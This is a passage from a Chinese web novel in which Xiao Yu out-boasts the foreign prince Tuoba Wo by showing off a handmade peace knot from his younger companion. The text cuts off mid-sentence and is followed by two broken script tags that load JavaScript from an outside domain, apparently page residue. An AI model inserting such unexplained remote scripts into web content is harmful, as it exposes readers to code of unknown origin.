什么我们阿彘不仅读书好,骑射也是一骑绝尘!
什么我们家阿彘还精通音律,现在已经会弹胡琴了!
什么我们家阿彘算数也是顶好的,最近还开始夜观星宿了……
萧裕皮笑肉不笑,只觉得聒噪不堪。
呵,得好像他弟弟就是世间绝无仅有的天才似的,既如此不如把太子之位让给他坐啊!
就在拓跋斡说到“下月是我的寿辰,我们家阿彘早早的寻了我国境内最好的匠人,打了一柄嵌宝金刀。”之际,萧裕挑了眉,立马打断道:
“小皇子确实贴心又聪明,小小年纪便懂寻得匠人做刀,只不像我们家阿宴,心眼儿太实,送我的贺礼偏爱亲手做!”
拓跋斡脸上的笑容一僵。
只见萧裕伸手解下了腰间歪歪扭扭的平安结,小心翼翼地举到了拓跋斡眼前,又生怕对方多看一眼会抢似的,往回收了收,道:
“这是去岁我生辰时,我们家阿宴自己悄悄学来,亲手为我做的平安结。”
拓跋斡:“……”
萧裕看着手里歪歪扭扭的平安结,像是看见了送他平安结人似的,唇边勾起了一抹宠溺的笑:
“要我说,平安结何处买不来?”
“再者这银丝线也不是什么名贵之物,就是要更名贵的,又如何不能得?况且咱们这样人家的孩子,哪儿会做这些?也不该是做这些的。”
“但他偏偏觉得平安结这东西,就得他亲手做,说是他亲手做的他才放心。”
“说来惭愧,我们家安宝自幼体弱,成日家里总是三病两痛的,我悬心得不行,去各处各国给他请的平安福不下百个!却从未亲手给他做过一个。”
“而我是阎王见了都要躲着的命,我们家安宝却偏偏要亲手为我做平安结……唉!”
拓跋斡皮笑肉不笑:
“在我国只有夫妻、情人,才会互送亲手做的平安结,兄弟间没有这个传统。”
闻言,萧裕唇边的笑容更深了几分:
“我大周也没这个传统。”萧裕嘴角勾起了一抹得意的笑,“所以我和我们家安宝,到比亲兄弟更亲些!”
拓跋斡:“……”
紧接着,萧裕又唤了两个跟在轿撵后的青衣小太监上前来,其中一个捧着个精致的楠木小箱子,两人站在萧裕与拓跋斡的轿撵之间,开了箱子,将里头的物件一样一样的拿出来。
拿一样,萧裕便炫
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">